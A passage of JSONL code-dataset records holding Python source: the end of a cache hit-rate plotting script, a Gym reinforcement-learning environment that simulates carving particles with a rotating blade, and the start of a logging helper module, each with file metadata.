day>interval:\n\t\t\t\t\t\tbreak\n\n\tprint(float(hit1)/count)\n\tprint(float(hit2)/count)\n\tprint(float(hit3)/count)\n\tprint(float(hit4)/count)\n\tn1.append(float(hit1)/count)\n\tn2.append(float(hit2)/count)\n\tn3.append(float(hit3)/count)\n\tn4.append(float(hit4)/count)\n\n\t'''print(float(QoE1+(count-hit1)*0.3)/count)\n\tprint(float(QoE2+(count-hit2)*0.3)/count)\n\tprint(float(QoE3+(count-hit3)*0.3)/count)\n\tprint(float(QoE4+(count-hit4)*0.3)/count)\n\tn1.append(float(QoE1+(count-hit1)*0.3)/count)\n\tn2.append(float(QoE2+(count-hit2)*0.3)/count)\n\tn3.append(float(QoE3+(count-hit3)*0.3)/count)\n\tn4.append(float(QoE4+(count-hit4)*0.3)/count)'''\n\n\n\talpha+=0.1\n\t#capacity+=10\nx=list()\nfor i in range(x_n):\n\tx.append(0.5+i*0.1)\n#for i in range(x_n):\n#\tx.append(50+i*10)\n\nplt.plot(x,n1,\"go\",)\nplt.plot(x,n2,\"bo\",)\nplt.plot(x,n3,\"ro\",)\nplt.plot(x,n4,\"yo\",)\nplt.plot(x,n1,\"g\",label='proposed')\nplt.plot(x,n2,\"b\",label='most popular')\nplt.plot(x,n3,\"r\",label='LFU')\nplt.plot(x,n4,\"y\",label='random')\nplt.xlabel(\"alpha\")\n#plt.xlabel(\"cache size\")\n#plt.ylabel(\"QoE\")\nplt.ylabel(\"hit rate\")\nplt.legend()\nplt.savefig('alpha.png',dpi=300)\nprint(n1)\nprint(n2)\nprint(n3)\nprint(n4)\nplt.show()\n", "sub_path": "NEW/new.py", "file_name": "new.py", "file_ext": "py", "file_size_in_byte": 5874, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.arange", "line_number": 55, "usage_type": "call"}, {"api_name": "scipy.stats.rv_discrete", "line_number": 58, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.random.rand", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 124, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 140, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 167, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 253, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 255, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 256, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 256, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 258, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 258, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 259, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 259, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 262, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 262, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 263, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 263, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 264, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}]} +{"seq_id": "127207231", "text": "\"\"\"\nClassic cart-pole system implemented by Rich Sutton et al.\nCopied from http://incompleteideas.net/sutton/book/code/pole.c\npermalink: https://perma.cc/C9ZM-652R\n\"\"\"\nimport logging\nimport math\nimport gym\nfrom gym import spaces\nfrom gym.utils import seeding\nimport numpy as np\nimport joblib\n# from .Particle import Particle\nfrom .ParticlesSim import ParticlesSim\n\nlogger = logging.getLogger(__name__)\n\n\nclass SimplerParticleCarvingRotation(gym.Env):\n def __init__(self):\n\n # 0 for path\n # 1 for wall\n # 2,3,4,5 for goal\n # 6,7,8,9 for hints\n self.dt = 0.02\n self.world_size = 2\n self.world_size_view = 2.5\n self.numCells = 32\n self.cellSize = self.world_size * 1.0 / self.numCells\n self.numParts = 500\n self.particleSim = ParticlesSim(self.numParts, self.dt)\n\n self.density_map = np.zeros((self.numCells, self.numCells), dtype=int)\n self.grid_world = [[[] for _ in range(len(self.density_map[0]))] for _ in range(len(self.density_map))]\n self.template = self.generate_template()\n self.geomCnt = 0\n self.frameskip = 5\n # self.obs_dim = self.numCells ** 2\n self.obs_dim = self.numCells * self.numCells + 8\n\n self.act_dim = 4\n # self.repelling_force_scale = 1\n self.action_high = np.ones(self.act_dim) * self.world_size_view / 2\n # self.action_high[2:4] = 1\n self.action_low = - self.action_high\n self.action_space = spaces.Box(self.action_low, self.action_high)\n\n self.pos_high = np.ones(3) * self.world_size_view / 2\n self.pos_high[2] = 2 * np.pi\n self.pos_low = - self.pos_high\n self.pos_low[2] = 0\n obs_high = np.ones(self.obs_dim) * self.world_size_view / 2\n obs_low = -obs_high\n self.observation_space = spaces.Box(obs_low, obs_high)\n self.t = 0\n\n self.curr_act = None\n self.action_scale = 1\n self.curr_iter = 1000\n self.half_length = 0.3\n self.curr_pos = np.array([1.0, 0.0, 0.0])\n self.curr_vel = np.array([0.0, 0.0, 0.0])\n\n self.kp = np.array([10, 10, 20])\n self.kd = np.array([4, 4, 5])\n\n self.viewer = None\n self.metadata = {\n 'render.modes': ['human', 'rgb_array'],\n 'video.frames_per_second': int(np.round(1.0 / self.dt)) / self.frameskip}\n\n def _seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def _step(self, action):\n # self.t += self.dt\n # print(action)\n\n action = np.clip(action * self.action_scale, self.action_low, self.action_high)\n self.curr_act = action\n oldPos = self.particleSim.positions.copy()\n self.do_simulation(action, self.frameskip)\n # print(self.curr_pos)\n done = False\n obs = self._get_obs()\n\n dist_rwd_positive = 0\n\n reward = np.sum(abs(oldPos)) - np.sum(np.abs(self.particleSim.positions))\n # print(reward)\n if abs(reward) > 1000 or np.isnan(reward):\n print(\"Invalid REWARD!!!!!!!!!!\")\n return obs, reward, done, {'rwd': reward, 'dist_rwd_positive': dist_rwd_positive,\n }\n\n def generate_template(self):\n template = np.zeros_like(self.density_map)\n\n # for i in range(len(template)):\n # for j in range(len(template)):\n # pos = self.grid_idx_to_pos(i, j)\n # if (pos[0] < 0):\n # template[i][j] = 1\n return template\n\n def _get_obs(self):\n\n obs = np.concatenate(\n [self.curr_pos[0:2], [np.sin(self.curr_pos[2]), np.cos(self.curr_pos[2])], self.curr_vel[0:2],\n [np.sin(self.curr_vel[2]), np.cos(self.curr_vel[2])],\n self.density_map.flatten() / 5]).ravel()\n return obs\n\n def first_nonzero(self, arr, axis, invalid_val=-1):\n mask = arr != 0\n return np.where(mask.any(axis=axis), mask.argmax(axis=axis), invalid_val)\n\n def do_simulation(self, act, frameskip):\n if (np.linalg.norm(act[2::]) > 0.0005):\n normalize_targ_vec = act[2::] / np.linalg.norm(act[2::])\n else:\n normalize_targ_vec = np.array([np.cos(self.curr_pos[2]), np.sin(self.curr_pos[2])])\n\n target_ang = np.angle(normalize_targ_vec[0] + normalize_targ_vec[1] * 1j)\n if (target_ang < 0):\n target_ang += 2 * np.pi\n\n targ_pos = np.zeros(3)\n targ_pos[0:2] = act[0:2]\n targ_pos[2] = target_ang\n tau = self.kp * (targ_pos - self.curr_pos) - self.kd * self.curr_vel\n # print(act)\n r1 = targ_pos[2] - self.curr_pos[2]\n r2 = targ_pos[2] + 2 * np.pi - self.curr_pos[2]\n r3 = targ_pos[2] - 2 * np.pi - self.curr_pos[2]\n rl = [r1, r2, r3]\n r = rl[np.argmin(np.array([abs(r1), abs(r2), abs(r3)]))]\n\n tau[2] = self.kp[2] * (r) - self.kd[2] * self.curr_vel[2]\n\n self.curr_vel = self.curr_vel + tau * self.dt\n # print(r)\n self.curr_pos = self.curr_pos + self.curr_vel * self.dt\n\n if (self.curr_pos[2] < 0):\n self.curr_pos[2] += np.pi * 2\n elif (self.curr_pos[2] > np.pi * 2):\n self.curr_pos[2] -= np.pi * 2\n\n self.curr_pos = np.clip(self.curr_pos, self.pos_low, self.pos_high)\n x_0 = np.array([(self.curr_pos[0]) + self.half_length * np.cos(self.curr_pos[2]),\n self.curr_pos[1] + self.half_length * np.sin(self.curr_pos[2])])\n\n x_1 = np.array([(self.curr_pos[0]) - self.half_length * np.cos(self.curr_pos[2]),\n self.curr_pos[1] - self.half_length * np.sin(self.curr_pos[2])])\n\n norm_dir = np.array([x_1[1] - x_0[1], -(x_1[0] - x_0[0])])\n if (np.linalg.norm(norm_dir) > 0.0005):\n norm_dir = norm_dir / np.linalg.norm(norm_dir)\n\n for fs in range(frameskip):\n self.particleSim.advance(x_0, x_1, norm_dir)\n self.density_map = self.particleSim.fillDensityMap(self.world_size, self.numCells)\n\n def _reset(self):\n self.curr_act = None\n self.grid_world = [[[] for _ in range(len(self.density_map[0]))] for _ in range(len(self.density_map))]\n\n rand_angle = np.random.uniform(-np.pi / 3, np.pi / 3, 1)\n if (rand_angle < 0):\n rand_angle += 2 * np.pi\n rand_pos = np.concatenate([np.random.uniform(-0.25, 0.25, 2), rand_angle])\n\n self.curr_pos = np.array([1, 0, 0]) + rand_pos\n self.curr_vel = np.array([0, 0, 0]) + np.random.uniform(-0.1, 0.1, 3)\n\n self.particleSim.randomInit(self.world_size)\n self.density_map = self.particleSim.fillDensityMap(self.world_size, self.numCells)\n\n return self._get_obs()\n\n def _render(self, mode='human', close=False):\n if close:\n if self.viewer is not None:\n self.viewer.close()\n self.viewer = None\n return\n\n screen_width = 800\n screen_height = 800\n from gym.envs.classic_control import rendering\n if self.viewer is None:\n self.viewer = rendering.Viewer(screen_width, screen_height)\n\n for i in range(len(self.density_map) + 1):\n left = (self.world_size_view - self.world_size) * 0.5 / self.world_size_view * screen_width\n right = screen_width * self.world_size / self.world_size_view + left\n top = i / float(len(self.density_map)) * screen_height * self.world_size / self.world_size_view + left\n horizontalLine = rendering.Line(start=(left, top), end=(right, top))\n horizontalLine.attrs.pop(-1)\n horizontalLine.add_attr(rendering.LineWidth(3))\n\n self.viewer.add_geom(horizontalLine)\n self.geomCnt += 1\n\n for i in range(len(self.density_map[0]) + 1):\n top = (self.world_size_view - self.world_size) * 0.5 / self.world_size_view * screen_height\n bottom = screen_height * self.world_size / self.world_size_view + top\n left = i / float(len(self.density_map[0])) * screen_width * self.world_size / self.world_size_view + top\n vertLine = rendering.Line(start=(left, top), end=(left, bottom))\n vertLine.attrs.pop(-1)\n vertLine.add_attr(rendering.LineWidth(3))\n\n self.viewer.add_geom(vertLine)\n self.geomCnt += 1\n\n # for i in range(len(self.template)):\n # for j in range(len(self.template[0])):\n # posX, posY = self.grid_idx_to_pos(i, j)\n # screenX, screenY = self.world_to_screen([posX, posY], screen_width, screen_height)\n # fill = rendering.make_circle(\n # radius=(screen_width * self.world_size / self.world_size_view) / (\n # 2.0 * len(self.template)) - 1)\n # trans = rendering.Transform((screenX, screenY))\n # fill.add_attr(trans)\n # normalized_template = self.template[i][j] / np.max(self.template)\n # color = (1 - normalized_template, 1, 1 - normalized_template)\n # fill.set_color(color[0], color[1], color[2])\n # # if (color[0] != 1):\n # self.viewer.add_geom(fill)\n # self.geomCnt += 1\n\n geoms = self.viewer.geoms[:self.geomCnt]\n # geoms = []\n\n # for i in range(len(self.density_map)):\n # for j in range(len(self.density_map[0])):\n # posX, posY = self.grid_idx_to_pos(i, j)\n # screenX, screenY = self.world_to_screen([posX, posY], screen_width, screen_height)\n # fill = rendering.make_circle(\n # radius=(screen_width * self.world_size / self.world_size_view) / (3.0 * len(self.density_map)))\n # # fill = rendering.FilledPolygon(v=[screenX])\n # trans = rendering.Transform((screenX, screenY))\n # fill.add_attr(trans)\n # normalized_density = self.density_map[i][j] / np.max(self.density_map)\n # color = (1 - normalized_density, 1 - normalized_density, 1 - normalized_density)\n # fill.set_color(color[0], color[1], color[2])\n # geoms.append(fill)\n\n if self.curr_act is not None:\n if (np.linalg.norm(self.curr_act[2::]) > 0.0005):\n normalize_targ_vec = self.curr_act[2::] / np.linalg.norm(self.curr_act[2::])\n else:\n normalize_targ_vec = np.array([np.cos(self.curr_pos[2]), np.sin(self.curr_pos[2])])\n target_ang = np.angle(normalize_targ_vec[0] + normalize_targ_vec[1] * 1j)\n if (target_ang < 0):\n target_ang += 2 * np.pi\n\n targ_pos = np.zeros(3)\n targ_pos[0:2] = self.curr_act[0:2]\n targ_pos[2] = target_ang\n # x_1 = np.array([self.curr_act[0], self.curr_act[1] + self.half_length])\n # x_2 = np.array([self.curr_act[0], self.curr_act[1] - self.half_length])\n # norm_dir = np.array([-1, 0])\n\n x_1 = np.array([(targ_pos[0]) + self.half_length * np.cos(targ_pos[2]),\n targ_pos[1] + self.half_length * np.sin(targ_pos[2])])\n\n x_2 = np.array([(targ_pos[0]) - self.half_length * np.cos(targ_pos[2]),\n targ_pos[1] - self.half_length * np.sin(targ_pos[2])])\n\n norm = np.linalg.norm(np.array([x_2[1] - x_1[1], -(x_2[0] - x_1[0])]))\n norm_dir = np.array([x_2[1] - x_1[1], -(x_2[0] - x_1[0])]) / norm\n\n # if (np.linalg.norm(norm_dir) > 0.0005):\n # norm_dir = norm_dir / np.linalg.norm(norm_dir)\n\n x_3 = x_2 + 0.3 * norm_dir # * self.curr_act[4]\n x_4 = x_1 + 0.3 * norm_dir # * self.curr_act[4]\n screenX_1, screenY_1 = self.world_to_screen(x_1, screen_width, screen_height)\n screenX_2, screenY_2 = self.world_to_screen(x_2, screen_width, screen_height)\n screenX_3, screenY_3 = self.world_to_screen(x_3, screen_width, screen_height)\n screenX_4, screenY_4 = self.world_to_screen(x_4, screen_width, screen_height)\n #\n line = rendering.Line((screenX_1, screenY_1), (screenX_2, screenY_2))\n line.attrs.pop(-1)\n line.add_attr(rendering.LineWidth(10))\n line.set_color(0.3, 0, 0)\n\n rect = rendering.FilledPolygon(\n [(screenX_1, screenY_1), (screenX_2, screenY_2), (screenX_3, screenY_3), (screenX_4, screenY_4)])\n rect.set_color(0, 0.3, 0.3)\n\n # geoms.pop(-1)\n # geoms.pop(-1)\n geoms.append(line)\n geoms.append(rect)\n\n x_1 = np.array([(self.curr_pos[0]) + self.half_length * np.cos(self.curr_pos[2]),\n self.curr_pos[1] + self.half_length * np.sin(self.curr_pos[2])])\n\n x_2 = np.array([(self.curr_pos[0]) - self.half_length * np.cos(self.curr_pos[2]),\n self.curr_pos[1] - self.half_length * np.sin(self.curr_pos[2])])\n\n norm = np.linalg.norm(np.array([x_2[1] - x_1[1], -(x_2[0] - x_1[0])]))\n norm_dir = np.array([x_2[1] - x_1[1], -(x_2[0] - x_1[0])]) / norm\n\n # if (np.linalg.norm(norm_dir) > 0.0005):\n # norm_dir = norm_dir / np.linalg.norm(norm_dir)\n\n x_3 = x_2 + 0.3 * norm_dir # * self.curr_act[4]\n x_4 = x_1 + 0.3 * norm_dir # * self.curr_act[4]\n screenX_1, screenY_1 = self.world_to_screen(x_1, screen_width, screen_height)\n screenX_2, screenY_2 = self.world_to_screen(x_2, screen_width, screen_height)\n screenX_3, screenY_3 = self.world_to_screen(x_3, screen_width, screen_height)\n screenX_4, screenY_4 = self.world_to_screen(x_4, screen_width, screen_height)\n #\n line = rendering.Line((screenX_1, screenY_1), (screenX_2, screenY_2))\n line.attrs.pop(-1)\n line.add_attr(rendering.LineWidth(10))\n line.set_color(1, 0, 0)\n\n rect = rendering.FilledPolygon(\n [(screenX_1, screenY_1), (screenX_2, screenY_2), (screenX_3, screenY_3), (screenX_4, screenY_4)])\n rect.set_color(0, 1, 1)\n\n # geoms.pop(-1)\n # geoms.pop(-1)\n geoms.append(line)\n geoms.append(rect)\n else:\n line = rendering.Line((0, 0), (0, 0))\n geoms.append(line)\n geoms.append(line)\n\n for i in range(len(self.particleSim.positions)):\n pos = self.particleSim.positions[i]\n screenX, screenY = self.world_to_screen(pos, screen_width, screen_height)\n circle = rendering.make_circle(radius=2, res=10)\n trans = rendering.Transform((screenX, screenY))\n circle.add_attr(trans)\n geoms.append(circle)\n self.viewer.geoms = geoms\n return self.viewer.render(return_rgb_array=mode == 'rgb_array')\n\n def world_to_screen(self, pos, screen_width, screen_height):\n # screenX = pos[0] / self.world_size * screen_width + 0.5 * screen_width\n # # screenY = pos[1] / self.world_size * screen_height + 0.5 * screen_height\n screenX = pos[0] / self.world_size_view * screen_width + 0.5 * screen_width\n screenY = pos[1] / self.world_size_view * screen_height + 0.5 * screen_height\n return screenX, screenY\n\n def pos_to_grid_idx(self, pos):\n\n x_idx = ((pos[0] + self.world_size / 2) / self.cellSize)\n y_idx = ((self.world_size / 2 - pos[1]) / self.cellSize)\n\n if (x_idx < 0):\n x_idx = int(x_idx) - 1\n else:\n x_idx = int(x_idx)\n\n if (y_idx < 0):\n y_idx = int(y_idx) - 1\n else:\n y_idx = int(y_idx)\n\n return y_idx, x_idx\n\n def grid_idx_to_pos(self, i, j):\n x = j * self.cellSize + 0.5 * self.cellSize - self.world_size / 2\n y = self.world_size / 2 - (i * self.cellSize + 0.5 * self.cellSize)\n return np.array([x, y])\n", "sub_path": "gym/envs/classic_control/simple_particle_carving_rotation.py", "file_name": "simple_particle_carving_rotation.py", "file_ext": "py", "file_size_in_byte": 16155, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "gym.Env", "line_number": 19, "usage_type": "attribute"}, {"api_name": "ParticlesSim.ParticlesSim", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 44, "usage_type": "call"}, {"api_name": "gym.spaces.Box", "line_number": 47, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 53, "usage_type": "call"}, {"api_name": "gym.spaces.Box", "line_number": 55, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 71, "usage_type": "call"}, {"api_name": "gym.utils.seeding.np_random", "line_number": 74, "usage_type": "call"}, {"api_name": "gym.utils.seeding", "line_number": 74, "usage_type": "name"}, {"api_name": "numpy.clip", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.angle", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 136, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.argmin", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 148, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 150, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 160, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 161, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 171, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 171, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 173, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 174, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 177, "usage_type": "attribute"}, {"api_name": "gym.envs.classic_control.rendering.Viewer", "line_number": 195, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 195, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.Line", "line_number": 201, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 201, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.LineWidth", "line_number": 203, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 203, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.Line", "line_number": 212, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 212, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.LineWidth", "line_number": 214, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 214, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 253, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 254, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.angle", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 259, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 274, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 275, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering.Line", "line_number": 287, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 287, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.LineWidth", "line_number": 289, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 289, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.FilledPolygon", "line_number": 292, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 292, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 307, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 308, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering.Line", "line_number": 320, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 320, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.LineWidth", "line_number": 322, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 322, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.FilledPolygon", "line_number": 325, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 325, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.Line", "line_number": 334, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 334, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.make_circle", "line_number": 341, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 341, "usage_type": "name"}, {"api_name": "gym.envs.classic_control.rendering.Transform", "line_number": 342, "usage_type": "call"}, {"api_name": "gym.envs.classic_control.rendering", "line_number": 342, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 375, "usage_type": "call"}]} +{"seq_id": "222067336", "text": "\"\"\"Utility function for control logging\n\"\"\"\n\nfrom time import time\nimport logging as lg\nimport pandas as pd\n\n\nclass UnknownError(Exception):\n \"\"\"Undefined error type\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, message):\n self.message = message\n\n\nclass logging:\n \"\"\"Collection of functions over `logging` module \"\"\"\n\n default_formatter = lg.Formatter(fmt='%(asctime)s %(message)s',\n datefmt='%m/%d/%Y %I:%M:%S %p')\n\n @staticmethod\n def info(msg, silent=False):\n \"\"\"Wrapper over `logging.info`\"\"\"\n if not silent:\n lg.info(msg)\n\n @staticmethod\n def warning(msg):\n \"\"\"Wrapper over `logging.warning`\"\"\"\n lg.warning(msg)\n\n @staticmethod\n def error(msg, error_type=UnknownError, ignore_error=False):\n \"\"\"Wrapper over `logging.error` and raise an Error\"\"\"\n lg.error(msg)\n if not ignore_error:\n raise error_type(msg)\n\n @staticmethod\n def debug(msg):\n \"\"\"Wrapper over `logging.debug`\"\"\"\n lg.debug(msg)\n\n @staticmethod\n def check_handler_name(name, logger=None):\n \"\"\"Check if handler with name is attached to the logger (default root logger)\"\"\"\n if logger is None:\n logger = lg.getLogger()\n return any([handler.get_name() == name for handler in logger.handlers])\n\n @staticmethod\n def add_console_handler(logger=None, name='console', formatter=default_formatter, level=lg.INFO):\n \"\"\"Add console handler (write to stdout/stderr) to the logger (default root logger)\"\"\"\n import sys\n\n if logger is None:\n logger = lg.getLogger()\n if not logging.check_handler_name(name, logger=logger):\n console_handler = lg.StreamHandler(sys.stdout)\n console_handler.set_name(name)\n console_handler.setLevel(level)\n console_handler.setFormatter(formatter)\n logger.addHandler(console_handler)\n logger.setLevel(level)\n\n @staticmethod\n def add_file_handler(file_path, logger=None, name='logfile', formatter=default_formatter, level=lg.INFO):\n \"\"\"Add file handler (write to log file) to the logger (default root logger)\"\"\"\n\n if logger is 